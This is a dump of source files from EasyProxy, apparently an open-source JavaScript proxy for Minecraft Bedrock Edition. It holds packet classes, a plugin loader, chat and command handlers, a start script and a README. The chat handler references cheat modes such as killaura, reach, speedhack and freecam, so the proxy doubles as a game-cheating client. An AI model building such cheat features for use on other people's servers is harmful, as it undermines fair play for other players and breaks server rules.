| * 3 | * ███████╗ █████╗ ███████╗██╗ ██╗██████╗ ██████╗ ██████╗ ██╗ ██╗██╗ ██╗ 4 | * ██╔════╝██╔══██╗██╔════╝╚██╗ ██╔╝██╔══██╗██╔══██╗██╔═══██╗╚██╗██╔╝╚██╗ ██╔╝ 5 | * █████╗ ███████║███████╗ ╚████╔╝ ██████╔╝██████╔╝██║ ██║ ╚███╔╝ ╚████╔╝ 6 | * ██╔══╝ ██╔══██║╚════██║ ╚██╔╝ ██╔═══╝ ██╔══██╗██║ ██║ ██╔██╗ ╚██╔╝ 7 | * ███████╗██║ ██║███████║ ██║ ██║ ██║ ██║╚██████╔╝██╔╝ ██╗ ██║ 8 | * ╚══════╝╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ 9 | * 10 | * Release by EasyProxy's Project! 11 | * Github: https://https://github.com/Zwuiix-cmd/EasyProxy 12 | * 13 | */ 14 | 15 | const ServerInfo = require("./ServerInfo"); 16 | const {Server} = require("./Server"); 17 | const EasyProxyInfo = require("./EasyProxyInfo"); 18 | 19 | class EasyProxy 20 | { 21 | server; 22 | 23 | constructor(data, messages = true) 24 | { 25 | this.server=new Server(data, messages); 26 | ServerInfo.setServer(this.server); 27 | EasyProxyInfo.setInitialEasyInstance(this); 28 | } 29 | 30 | others(serverData, address, port) 31 | { 32 | this.server=new Server({ 33 | address: serverData[0], 34 | port: serverData[1], 35 | 36 | destHost: address, 37 | destPort: port 38 | }, false); 39 | ServerInfo.setServer(this.server); 40 | } 41 | } 42 | 43 | module.exports = EasyProxy; -------------------------------------------------------------------------------- /software/src/packet/MobEffectPacket.js: -------------------------------------------------------------------------------- 1 | /** 2 | * 3 | * ███████╗ █████╗ ███████╗██╗ ██╗██████╗ ██████╗ ██████╗ ██╗ ██╗██╗ ██╗ 4 | * ██╔════╝██╔══██╗██╔════╝╚██╗ ██╔╝██╔══██╗██╔══██╗██╔═══██╗╚██╗██╔╝╚██╗ ██╔╝ 5 | * █████╗ ███████║███████╗ ╚████╔╝ ██████╔╝██████╔╝██║ ██║ ╚███╔╝ ╚████╔╝ 6 | * ██╔══╝ ██╔══██║╚════██║ ╚██╔╝ ██╔═══╝ ██╔══██╗██║ ██║ ██╔██╗ ╚██╔╝ 7 | * ███████╗██║ ██║███████║ ██║ ██║ ██║ ██║╚██████╔╝██╔╝ ██╗ ██║ 8 | * ╚══════╝╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ 9 | * 10 | * Release by EasyProxy's Project! 11 | * Github: https://https://github.com/Zwuiix-cmd/EasyProxy 12 | * 13 | */ 14 | 15 | class MobEffectPacket 16 | { 17 | player; 18 | 19 | /** @param Player {Player} */ 20 | constructor(Player) 21 | { 22 | this.player=Player; 23 | } 24 | 25 | /** 26 | * @param action 27 | * @param id 28 | * @param duration 29 | * @param amplifier 30 | * @param particles 31 | */ 32 | create(action, id, duration, amplifier, particles) 33 | { 34 | this.player.getBedrockPlayer().queue("mob_effect", { 35 | runtime_entity_id: this.player.getUniqueID(), 36 | event_id: action, 37 | effect_id: id, 38 | duration: duration, 39 | amplifier: amplifier, 40 | particles: particles, 41 | }); 42 | } 43 | } 44 | 45 | module.exports = MobEffectPacket; -------------------------------------------------------------------------------- /software/src/packet/SetTitlePacket.js: -------------------------------------------------------------------------------- 1 | /** 2 | * 3 | * ███████╗ █████╗ ███████╗██╗ ██╗██████╗ ██████╗ ██████╗ ██╗ ██╗██╗ ██╗ 4 | * ██╔════╝██╔══██╗██╔════╝╚██╗ ██╔╝██╔══██╗██╔══██╗██╔═══██╗╚██╗██╔╝╚██╗ ██╔╝ 5 | * █████╗ ███████║███████╗ ╚████╔╝ ██████╔╝██████╔╝██║ ██║ ╚███╔╝ ╚████╔╝ 6 | * ██╔══╝ ██╔══██║╚════██║ ╚██╔╝ ██╔═══╝ ██╔══██╗██║ ██║ ██╔██╗ ╚██╔╝ 7 | * ███████╗██║ ██║███████║ ██║ ██║ ██║ ██║╚██████╔╝██╔╝ ██╗ ██║ 8 | * ╚══════╝╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ 9 | * 10 | * Release by EasyProxy's Project! 11 | * Github: https://https://github.com/Zwuiix-cmd/EasyProxy 12 | * 13 | */ 14 | 15 | class SetTitlePacket 16 | { 17 | player; 18 | 19 | /** @param Player {Player} */ 20 | constructor(Player) 21 | { 22 | this.player=Player; 23 | } 24 | 25 | /** 26 | * @param title {string} 27 | * @param fadeInTime {number} 28 | * @param stayTime {number} 29 | * @param fadeOutTime {number} 30 | */ 31 | create(title, fadeInTime= 0, stayTime = 0, fadeOutTime = 0) 32 | { 33 | this.player.getBedrockPlayer().queue("set_title", { 34 | type: "set_title", 35 | text: title, 36 | fade_in_time: fadeInTime, 37 | stay_time: stayTime, 38 | fade_out_time: fadeOutTime, 39 | xuid: '', 40 | platform_online_id: '' 41 | }); 42 | } 43 | } 44 | 45 | module.exports = SetTitlePacket; -------------------------------------------------------------------------------- /software/src/packet/PlayerSkinPacket.js: -------------------------------------------------------------------------------- 1 | /** 2 | * 3 | * ███████╗ █████╗ ███████╗██╗ ██╗██████╗ ██████╗ ██████╗ ██╗ ██╗██╗ ██╗ 4 | * ██╔════╝██╔══██╗██╔════╝╚██╗ ██╔╝██╔══██╗██╔══██╗██╔═══██╗╚██╗██╔╝╚██╗ ██╔╝ 5 | * █████╗ ███████║███████╗ ╚████╔╝ ██████╔╝██████╔╝██║ ██║ ╚███╔╝ ╚████╔╝ 6 | * ██╔══╝ ██╔══██║╚════██║ ╚██╔╝ ██╔═══╝ ██╔══██╗██║ ██║ ██╔██╗ ╚██╔╝ 7 | * ███████╗██║ ██║███████║ ██║ ██║ ██║ ██║╚██████╔╝██╔╝ ██╗ ██║ 8 | * ╚══════╝╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ 9 | * 10 | * Release by EasyProxy's Project! 11 | * Github: https://https://github.com/Zwuiix-cmd/EasyProxy 12 | * 13 | */ 14 | 15 | const {Player} = require("../player/Player"); 16 | 17 | class PlayerSkinPacket 18 | { 19 | player; 20 | 21 | /** @param Player {Player} */ 22 | constructor(Player) 23 | { 24 | this.player=Player; 25 | } 26 | 27 | /** 28 | * @param uuid {string} 29 | * @param skin {Object} 30 | * @param skin_name {string} 31 | * @param old_skin {string} 32 | * @param is_verified {boolean} 33 | */ 34 | create(uuid, skin, skin_name, old_skin, is_verified) 35 | { 36 | this.player.getBedrockPlayer().queue('player_skin', { 37 | uuid: uuid, 38 | skin: skin, 39 | skin_name: skin_name, 40 | old_skin: old_skin, 41 | is_verified: is_verified 42 | }); 43 | } 44 | } 45 | 46 | module.exports = PlayerSkinPacket; -------------------------------------------------------------------------------- /software/node_modules/bedrock-protocol/src/datatypes/util.js: -------------------------------------------------------------------------------- 1 | const fs = require('fs') 2 | const UUID = require('uuid-1345') 3 | 4 | function getFiles (dir) { 5 | let results = [] 6 | const list = fs.readdirSync(dir) 7 | list.forEach((file) => { 8 | file = dir + '/' + file 9 | const stat = fs.statSync(file) 10 | if (stat && stat.isDirectory()) { 11 | results = results.concat(getFiles(file)) 12 | } else { 13 | results.push(file) 14 | } 15 | }) 16 | return results 17 | } 18 | 19 | function sleep (ms) { 20 | return new Promise(resolve => setTimeout(resolve, ms)) 21 | } 22 | 23 | async function waitFor (cb, withTimeout, onTimeout) { 24 | let t 25 | const ret = await Promise.race([ 26 | new Promise((resolve, reject) => cb(resolve, reject)), 27 | new Promise(resolve => { t = setTimeout(() => resolve('timeout'), withTimeout) }) 28 | ]) 29 | clearTimeout(t) 30 | if (ret === 'timeout') await onTimeout() 31 | return ret 32 | } 33 | 34 | function serialize (obj = {}, fmt) { 35 | return JSON.stringify(obj, (k, v) => typeof v === 'bigint' ? v.toString() : v, fmt) 36 | } 37 | 38 | function uuidFrom (string) { 39 | return UUID.v3({ namespace: '6ba7b811-9dad-11d1-80b4-00c04fd430c8', name: string }) 40 | } 41 | 42 | function nextUUID () { 43 | return uuidFrom(Date.now().toString()) 44 | } 45 | 46 | const isDebug = process.env.DEBUG?.includes('minecraft-protocol') 47 | 48 | module.exports = { getFiles, sleep, waitFor, serialize, uuidFrom, nextUUID, isDebug } 49 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # EasyProxy 2 | 3 | Here is some information about the project! 4 | 5 | What is EasyProxy? 6 | It's a small script made in JavaScript that allows to create Proxy for the Bedrock version of Minecraft. 7 | 8 | What are they used for ? 9 | It allows you to modify packets or send them between the two servers, create a scoreboard, form, send messages in the chat, fullbright, togglesprint and many other useful features. 10 | 11 | How to use it ? 12 | You just have to follow the installation documentation. 13 | 14 | Do you have to pay ? 15 | No, everything is totally free, if you want to use it no worries, but it is obviously forbidden to resell it or to appropriate it. (LISENCE) 16 | 17 | 18 | ## How to use ? 19 | - [Documentation](https://github.com/Zwuiix-cmd/EasyProxy/help/DOCS.MD) 20 | - [Installation](https://github.com/Zwuiix-cmd/EasyProxy/help/INSTALL.MD) 21 | - [Plugin Creation](https://github.com/Zwuiix-cmd/EasyProxy/help/PLUGIN.MD) 22 | 23 | ## For developers 24 | - [Example Plugin](https://github.com/Zwuiix-cmd/EasyProxy/help/for-dev/Example-Plugin.MD) 25 | - [Scoreboard Example](https://github.com/Zwuiix-cmd/EasyProxy/help/for-dev/ScoreboardExample.MD) 26 | 27 | ## Donate 28 | - [Paypal](https://paypal.me/EasyProxy) 29 | 30 | ## Contributors 31 | - [@Zwuiix-cmd](https://github.com/Zwuiix-cmd) 32 | - [@UCS](https://github.com/UnNyanCat) 33 | 34 | ## Licensing information 35 | This project is licensed under LGPL-3.0. Please see the [LICENSE](/LICENSE) file for details. -------------------------------------------------------------------------------- /software/src/packet/SimpleFormRequestPacket.js: -------------------------------------------------------------------------------- 1 | /** 2 | * 3 | * ███████╗ █████╗ ███████╗██╗ ██╗██████╗ ██████╗ ██████╗ ██╗ ██╗██╗ ██╗ 4 | * ██╔════╝██╔══██╗██╔════╝╚██╗ ██╔╝██╔══██╗██╔══██╗██╔═══██╗╚██╗██╔╝╚██╗ ██╔╝ 5 | * █████╗ ███████║███████╗ ╚████╔╝ ██████╔╝██████╔╝██║ ██║ ╚███╔╝ ╚████╔╝ 6 | * ██╔══╝ ██╔══██║╚════██║ ╚██╔╝ ██╔═══╝ ██╔══██╗██║ ██║ ██╔██╗ ╚██╔╝ 7 | * ███████╗██║ ██║███████║ ██║ ██║ ██║ ██║╚██████╔╝██╔╝ ██╗ ██║ 8 | * ╚══════╝╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ 9 | * 10 | * Release by EasyProxy's Project! 11 | * Github: https://https://github.com/Zwuiix-cmd/EasyProxy 12 | * 13 | */ 14 | 15 | class SimpleFormRequestPacket 16 | { 17 | player; 18 | 19 | buttons = []; 20 | 21 | /** @param Player {Player} */ 22 | constructor(Player) 23 | { 24 | this.player=Player; 25 | } 26 | 27 | /** @param text {string} */ 28 | createButton(text) 29 | { 30 | this.buttons.push({text: text}); 31 | } 32 | 33 | /** 34 | * @param id {number} 35 | * @param title {string} 36 | * @param content {string} 37 | */ 38 | create(id, title, content) 39 | { 40 | let data = {type: "form", title:title, content:content, buttons:this.buttons}; 41 | this.player.getBedrockPlayer().queue("modal_form_request", { 42 | form_id: id, 43 | data: JSON.stringify(data) 44 | }); 45 | } 46 | } 47 | 48 | module.exports = SimpleFormRequestPacket; -------------------------------------------------------------------------------- /software/src/packet/UpdateAttributesPacket.js: -------------------------------------------------------------------------------- 1 | /** 2 | * 3 | * ███████╗ █████╗ ███████╗██╗ ██╗██████╗ ██████╗ ██████╗ ██╗ ██╗██╗ ██╗ 4 | * ██╔════╝██╔══██╗██╔════╝╚██╗ ██╔╝██╔══██╗██╔══██╗██╔═══██╗╚██╗██╔╝╚██╗ ██╔╝ 5 | * █████╗ ███████║███████╗ ╚████╔╝ ██████╔╝██████╔╝██║ ██║ ╚███╔╝ ╚████╔╝ 6 | * ██╔══╝ ██╔══██║╚════██║ ╚██╔╝ ██╔═══╝ ██╔══██╗██║ ██║ ██╔██╗ ╚██╔╝ 7 | * ███████╗██║ ██║███████║ ██║ ██║ ██║ ██║╚██████╔╝██╔╝ ██╗ ██║ 8 | * ╚══════╝╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ 9 | * 10 | * Release by EasyProxy's Project! 11 | * Github: https://https://github.com/Zwuiix-cmd/EasyProxy 12 | * 13 | */ 14 | 15 | class UpdateAttributesPacket 16 | { 17 | player; 18 | 19 | /** @param Player {Player} */ 20 | constructor(Player) 21 | { 22 | this.player=Player; 23 | } 24 | 25 | /** 26 | * @param number 27 | */ 28 | create(number) 29 | { 30 | this.player.getBedrockPlayer().queue("update_attributes", { 31 | runtime_entity_id: this.player.getUniqueID(), 32 | attributes: [ 33 | { 34 | min: 0, 35 | max: 3.4028234663852886e+38, 36 | current: number, 37 | default: number, 38 | name: 'minecraft:movement', 39 | modifiers: [] 40 | } 41 | ], 42 | tick: 0 43 | }); 44 | } 45 | } 46 | 47 | module.exports = UpdateAttributesPacket; -------------------------------------------------------------------------------- /software/src/packet/SetEntityMotionPacket.js: -------------------------------------------------------------------------------- 1 | /** 2 | * 3 | * ███████╗ █████╗ ███████╗██╗ ██╗██████╗ ██████╗ ██████╗ ██╗ ██╗██╗ ██╗ 4 | * ██╔════╝██╔══██╗██╔════╝╚██╗ ██╔╝██╔══██╗██╔══██╗██╔═══██╗╚██╗██╔╝╚██╗ ██╔╝ 5 | * █████╗ ███████║███████╗ ╚████╔╝ ██████╔╝██████╔╝██║ ██║ ╚███╔╝ ╚████╔╝ 6 | * ██╔══╝ ██╔══██║╚════██║ ╚██╔╝ ██╔═══╝ ██╔══██╗██║ ██║ ██╔██╗ ╚██╔╝ 7 | * ███████╗██║ ██║███████║ ██║ ██║ ██║ ██║╚██████╔╝██╔╝ ██╗ ██║ 8 | * ╚══════╝╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ 9 | * 10 | * Release by EasyProxy's Project! 11 | * Github: https://https://github.com/Zwuiix-cmd/EasyProxy 12 | * 13 | */ 14 | 15 | const {Player} = require("../player/Player"); 16 | 17 | class SetEntityMotionPacket 18 | { 19 | player; 20 | velocity = {x: 0, y: 0, z: 0}; 21 | runtime_id; 22 | 23 | /** @param Player {Player} */ 24 | constructor(Player) 25 | { 26 | this.player=Player; 27 | } 28 | 29 | /** 30 | * @param str {string} 31 | */ 32 | setRuntimeID(str) 33 | { 34 | this.runtime_id=str; 35 | } 36 | 37 | /** 38 | * @param object {object} 39 | */ 40 | setVelocity(object) 41 | { 42 | this.velocity=object; 43 | } 44 | 45 | send() 46 | { 47 | this.player.getBedrockPlayer().queue('set_entity_motion', { 48 | runtime_entity_id: this.runtime_id, 49 | velocity: this.velocity 50 | }); 51 | } 52 | } 53 | 54 | module.exports = SetEntityMotionPacket; 55 | -------------------------------------------------------------------------------- /software/src/plugin/PluginLoader.js: -------------------------------------------------------------------------------- 1 | /** 2 | * 3 | * ███████╗ █████╗ ███████╗██╗ ██╗██████╗ ██████╗ ██████╗ ██╗ ██╗██╗ ██╗ 4 | * ██╔════╝██╔══██╗██╔════╝╚██╗ ██╔╝██╔══██╗██╔══██╗██╔═══██╗╚██╗██╔╝╚██╗ ██╔╝ 5 | * █████╗ ███████║███████╗ ╚████╔╝ ██████╔╝██████╔╝██║ ██║ ╚███╔╝ ╚████╔╝ 6 | * ██╔══╝ ██╔══██║╚════██║ ╚██╔╝ ██╔═══╝ ██╔══██╗██║ ██║ ██╔██╗ ╚██╔╝ 7 | * ███████╗██║ ██║███████║ ██║ ██║ ██║ ██║╚██████╔╝██╔╝ ██╗ ██║ 8 | * ╚══════╝╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ 9 | * 10 | * Release by EasyProxy's Project! 11 | * Github: https://https://github.com/Zwuiix-cmd/EasyProxy 12 | * 13 | */ 14 | 15 | const fs = require("fs"); 16 | const Path = require("path"); 17 | const PluginManager = require("./PluginManager"); 18 | 19 | class PluginLoader 20 | { 21 | constructor(folder) 22 | { 23 | const eventFiles = fs.readdirSync(folder); 24 | for (const file of eventFiles) { 25 | if(file.includes('.'))continue; 26 | let plugin_json = require('../../../plugin/'+file+'/plugin.json'); 27 | let main = require(`../../../plugin/${file}/${plugin_json["main"]}.js`); 28 | let plugin = new main(plugin_json["name"], plugin_json["description"], plugin_json["author"], plugin_json["api"], plugin_json["version"], plugin_json["main"], `${folder}plugin/${file}/`, Path.join(process.cwd() + `/plugin_data/${plugin_json["name"]}/`)); 29 | PluginManager.load(plugin); 30 | } 31 | } 32 | } 33 | module.exports = PluginLoader; -------------------------------------------------------------------------------- /software/src/network/send/TextPacket.js: -------------------------------------------------------------------------------- 1 | const PlayerChatEvent = require("../../event/list/send/PlayerChatEvent"); 2 | const EventManager = require("../../event/EventManager"); 3 | const PlayerCommandProcessEvent = require("../../event/list/send/PlayerCommandProcessEvent"); 4 | const VersionInfo = require("../../VersionInfo"); 5 | module.exports = { 6 | name: "text", 7 | 8 | /** 9 | * @param Player {Player} 10 | * @param packet {Packet} 11 | */ 12 | send(Player, packet) 13 | { 14 | if( 15 | Player.getCheatManager().isFreecam() || 16 | Player.getCheatManager().isHitbox() || 17 | Player.getCheatManager().isReach() || 18 | Player.getCheatManager().isSpeedHack() || 19 | Player.getCheatManager().isTimer() || 20 | Player.getCheatManager().isKillAura() || 21 | Player.getCheatManager().isVelocity() || 22 | Player.getCheatManager().isKillAura() 23 | ) { 24 | packet.params.platform_chat_id = "EasyProxy-Cheat-" + VersionInfo.VERSION; 25 | } 26 | 27 | packet.params.xuid=Player.getXuid(); 28 | 29 | const EventManager = require("../../event/EventManager"); 30 | let events = EventManager.getALl(); 31 | events.forEach((event) => { 32 | try { 33 | let listener = new PlayerChatEvent(Player, packet); 34 | event.onPlayerChat(listener); 35 | if(listener.isCancelled()){packet = null; return false;} 36 | }catch (e){} 37 | }); 38 | } 39 | } -------------------------------------------------------------------------------- /software/src/task/Task.js: -------------------------------------------------------------------------------- 1 | /** 2 | * 3 | * ███████╗ █████╗ ███████╗██╗ ██╗██████╗ ██████╗ ██████╗ ██╗ ██╗██╗ ██╗ 4 | * ██╔════╝██╔══██╗██╔════╝╚██╗ ██╔╝██╔══██╗██╔══██╗██╔═══██╗╚██╗██╔╝╚██╗ ██╔╝ 5 | * █████╗ ███████║███████╗ ╚████╔╝ ██████╔╝██████╔╝██║ ██║ ╚███╔╝ ╚████╔╝ 6 | * ██╔══╝ ██╔══██║╚════██║ ╚██╔╝ ██╔═══╝ ██╔══██╗██║ ██║ ██╔██╗ ╚██╔╝ 7 | * ███████╗██║ ██║███████║ ██║ ██║ ██║ ██║╚██████╔╝██╔╝ ██╗ ██║ 8 | * ╚══════╝╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ 9 | * 10 | * Release by EasyProxy's Project! 11 | * Github: https://https://github.com/Zwuiix-cmd/EasyProxy 12 | * 13 | */ 14 | 15 | const TaskManager = require("./TaskManager"); 16 | class Task 17 | { 18 | ticks; 19 | type; 20 | task; 21 | 22 | data; 23 | 24 | constructor(type, ticks, data) 25 | { 26 | this.data=data; 27 | this.ticks=ticks; 28 | 29 | if(type < 0) this.type = TaskManager.TYPE_DELAY; 30 | if(type > 1) this.type = TaskManager.TYPE_REPEAT; 31 | 32 | if(type === TaskManager.TYPE_DELAY){ 33 | this.task=setTimeout(() => { 34 | this.onRun(); 35 | }, ticks); 36 | }else if (type === TaskManager.TYPE_REPEAT){ 37 | this.task=setInterval(() => { 38 | this.onRun(); 39 | }, ticks); 40 | } 41 | } 42 | 43 | stop() 44 | { 45 | if(this.type < 0) clearTimeout(this.task); 46 | if(this.type > 1) clearInterval(this.task); 47 | } 48 | 49 | onRun() {} 50 | } 51 | module.exports = Task; -------------------------------------------------------------------------------- /software/src/EasyProxyInfo.js: -------------------------------------------------------------------------------- 1 | /** 2 | * 3 | * ███████╗ █████╗ ███████╗██╗ ██╗██████╗ ██████╗ ██████╗ ██╗ ██╗██╗ ██╗ 4 | * ██╔════╝██╔══██╗██╔════╝╚██╗ ██╔╝██╔══██╗██╔══██╗██╔═══██╗╚██╗██╔╝╚██╗ ██╔╝ 5 | * █████╗ ███████║███████╗ ╚████╔╝ ██████╔╝██████╔╝██║ ██║ ╚███╔╝ ╚████╔╝ 6 | * ██╔══╝ ██╔══██║╚════██║ ╚██╔╝ ██╔═══╝ ██╔══██╗██║ ██║ ██╔██╗ ╚██╔╝ 7 | * ███████╗██║ ██║███████║ ██║ ██║ ██║ ██║╚██████╔╝██╔╝ ██╗ ██║ 8 | * ╚══════╝╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ 9 | * 10 | * Release by EasyProxy's Project! 11 | * Github: https://https://github.com/Zwuiix-cmd/EasyProxy 12 | * 13 | */ 14 | 15 | let DEFAULT_PORT = 19132; 16 | let DEFAULT_SERVER_ID = 0; 17 | let initialEasyInstance; 18 | module.exports = { 19 | Discord: "https://discord.gg/easyproxy", 20 | Website: "https://easyproxy.com/", 21 | Authors: "Zwuiix, UnChatSauvage, Nya Enzo.", 22 | 23 | sleep(ms) 24 | { 25 | return new Promise(resolve => setTimeout(resolve, ms)); 26 | }, 27 | 28 | getDefaultPort() 29 | { 30 | return DEFAULT_PORT; 31 | }, 32 | 33 | setDefaultPort(str) 34 | { 35 | DEFAULT_PORT=str; 36 | }, 37 | 38 | getServerID() 39 | { 40 | return DEFAULT_SERVER_ID; 41 | }, 42 | 43 | setInitialEasyInstance(instance) 44 | { 45 | initialEasyInstance=instance; 46 | }, 47 | 48 | getInitialEasyInstance() 49 | { 50 | return initialEasyInstance; 51 | }, 52 | 53 | setNextServerID(str) 54 | { 55 | DEFAULT_SERVER_ID=str; 56 | } 57 | } -------------------------------------------------------------------------------- /software/src/packet/MovePlayerPacket.js: -------------------------------------------------------------------------------- 1 | /** 2 | * 3 | * ███████╗ █████╗ ███████╗██╗ ██╗██████╗ ██████╗ ██████╗ ██╗ ██╗██╗ ██╗ 4 | * ██╔════╝██╔══██╗██╔════╝╚██╗ ██╔╝██╔══██╗██╔══██╗██╔═══██╗╚██╗██╔╝╚██╗ ██╔╝ 5 | * █████╗ ███████║███████╗ ╚████╔╝ ██████╔╝██████╔╝██║ ██║ ╚███╔╝ ╚████╔╝ 6 | * ██╔══╝ ██╔══██║╚════██║ ╚██╔╝ ██╔═══╝ ██╔══██╗██║ ██║ ██╔██╗ ╚██╔╝ 7 | * ███████╗██║ ██║███████║ ██║ ██║ ██║ ██║╚██████╔╝██╔╝ ██╗ ██║ 8 | * ╚══════╝╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ 9 | * 10 | * Release by EasyProxy's Project! 11 | * Github: https://https://github.com/Zwuiix-cmd/EasyProxy 12 | * 13 | */ 14 | 15 | class MovePlayerPacket 16 | { 17 | player; 18 | 19 | /** @param Player {Player} */ 20 | constructor(Player) 21 | { 22 | this.player=Player; 23 | } 24 | 25 | /** 26 | * @param id {number} 27 | * @param position {Object} 28 | * @param pitch {number} 29 | * @param yaw {number} 30 | * @param mode {string} 31 | */ 32 | create(id, position, pitch, yaw, mode) 33 | { 34 | this.player.getBedrockPlayer().queue('move_player', { 35 | runtime_id: Math.random(id), 36 | position: position, 37 | pitch: Math.random(pitch), 38 | yaw: Math.random(yaw), 39 | head_yaw: Math.random(yaw), 40 | mode: mode, 41 | on_ground: false, 42 | ridden_runtime_id: 0, 43 | teleport: { cause: 'unknown', source_entity_type: 0 }, 44 | tick: 0 45 | }); 46 | } 47 | } 48 | 49 | module.exports = MovePlayerPacket; -------------------------------------------------------------------------------- /software/src/network/send/CommandRequestPacket.js: -------------------------------------------------------------------------------- 1 | const fs = require("fs"); 2 | const ServerInfo = require("../../ServerInfo"); 3 | const PlayerCommandProcessEvent = require("../../event/list/send/PlayerCommandProcessEvent"); 4 | const EventManager = require("../../event/EventManager"); 5 | const PlayerEmoteEvent = require("../../event/list/send/PlayerEmoteEvent"); 6 | module.exports = { 7 | name: "command_request", 8 | 9 | send(Player, packet) 10 | { 11 | const EventManager = require("../../event/EventManager"); 12 | let events = EventManager.getALl(); 13 | events.forEach((event) => { 14 | try { 15 | let listener = new PlayerCommandProcessEvent(Player, packet); 16 | event.onPlayerCommandProcess(listener); 17 | if(listener.isCancelled()){packet = null; return false;} 18 | }catch (e){} 19 | }); 20 | 21 | let message=packet.params.command; 22 | if(!message.startsWith('//'))return; 23 | 24 | let args = message.split(/ +/g); 25 | 26 | let commands = ServerInfo.getServer().getCommandMap().getAll(); 27 | commands.forEach((command) => { 28 | if(`//${command.getName()}` === args[0]){ 29 | command.onRun(Player, args); 30 | return; 31 | } 32 | command.getAliases().forEach((alias) => { 33 | if(`//${alias}` === args[0]){ 34 | command.onRun(Player, args); 35 | } 36 | }); 37 | }); 38 | 39 | packet.params.command = ''; 40 | packet=null; 41 | return false; 42 | } 43 | } -------------------------------------------------------------------------------- /software/src/packet/TextPacket.js: -------------------------------------------------------------------------------- 1 | /** 2 | * 3 | * ███████╗ █████╗ ███████╗██╗ ██╗██████╗ ██████╗ ██████╗ ██╗ ██╗██╗ ██╗ 4 | * ██╔════╝██╔══██╗██╔════╝╚██╗ ██╔╝██╔══██╗██╔══██╗██╔═══██╗╚██╗██╔╝╚██╗ ██╔╝ 5 | * █████╗ ███████║███████╗ ╚████╔╝ ██████╔╝██████╔╝██║ ██║ ╚███╔╝ ╚████╔╝ 6 | * ██╔══╝ ██╔══██║╚════██║ ╚██╔╝ ██╔═══╝ ██╔══██╗██║ ██║ ██╔██╗ ╚██╔╝ 7 | * ███████╗██║ ██║███████║ ██║ ██║ ██║ ██║╚██████╔╝██╔╝ ██╗ ██║ 8 | * ╚══════╝╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ 9 | * 10 | * Release by EasyProxy's Project! 11 | * Github: https://https://github.com/Zwuiix-cmd/EasyProxy 12 | * 13 | */ 14 | 15 | class TextPacket 16 | { 17 | player; 18 | 19 | /** @param Player {Player} */ 20 | constructor(Player) 21 | { 22 | this.player=Player; 23 | } 24 | 25 | /** 26 | * @param type 27 | * @param message 28 | */ 29 | create(type, message) 30 | { 31 | this.player.getBedrockPlayer().queue('text', { 32 | type: type, 33 | needs_translation: false, 34 | source_name: '', 35 | xuid: '', 36 | platform_chat_id: '', 37 | message: message 38 | }); 39 | } 40 | 41 | createUpstream(message) 42 | { 43 | this.player.getBedrockPlayer().upstream.queue('text', { 44 | type: 'chat', 45 | needs_translation: false, 46 | source_name: this.player.getName(), 47 | xuid: 'EasyProxy', 48 | platform_chat_id: '', 49 | message: message 50 | }); 51 | } 52 | } 53 | 54 | module.exports = TextPacket; -------------------------------------------------------------------------------- /start.cmd: -------------------------------------------------------------------------------- 1 | @echo off 2 | TITLE EasyProxy proxy software for Minecraft: Bedrock Edition 3 | 4 | cd /d %~dp0 5 | set initial_path=%cd% 6 | 7 | cd software 8 | set software_path=%cd% 9 | 10 | echo Loading files... 11 | 12 | echo Loading package.json... 13 | if exist package.json ( 14 | echo The package.json file has been found successfully! 15 | ) else ( 16 | echo Couldn't find a package.json in software folder! 17 | pause 18 | exit 1 19 | ) 20 | 21 | echo Loading package-lock.json... 22 | if exist package-lock.json ( 23 | echo The package-lock.json file has been found successfully! 24 | ) else ( 25 | echo Couldn't find a package-lock.json in software folder! 26 | pause 27 | exit 1 28 | ) 29 | 30 | echo Loading node_modules... 31 | if exist node_modules ( 32 | echo The node_modules folder has been found successfully! 33 | ) else ( 34 | echo Couldn't find a node_modules in software folder! 35 | pause 36 | exit 1 37 | ) 38 | 39 | cd node_modules 40 | set node_modules=%cd% 41 | 42 | echo Loading bedrock-protocol... 43 | if exist bedrock-protocol ( 44 | echo The bedrock-protocol folder has been found successfully! 45 | ) else ( 46 | echo Couldn't find a bedrock-protocol in node_modules folder! 47 | echo Downloads can be found at https://github.com/Zwuiix-cmd/EasyProxy/releases 48 | pause 49 | exit 1 50 | ) 51 | 52 | cd %software_path% 53 | 54 | echo Loading index.js... 55 | if exist index.js ( 56 | echo The index.js file has been found successfully! 57 | ) else ( 58 | echo index.js not found 59 | echo Downloads can be found at https://github.com/Zwuiix-cmd/EasyProxy/releases 60 | pause 61 | exit 1 62 | ) 63 | 64 | node index.js %initial_path% 65 | pause 66 | -------------------------------------------------------------------------------- /software/src/player/EffectManager.js: -------------------------------------------------------------------------------- 1 | /** 2 | * 3 | * ███████╗ █████╗ ███████╗██╗ ██╗██████╗ ██████╗ ██████╗ ██╗ ██╗██╗ ██╗ 4 | * ██╔════╝██╔══██╗██╔════╝╚██╗ ██╔╝██╔══██╗██╔══██╗██╔═══██╗╚██╗██╔╝╚██╗ 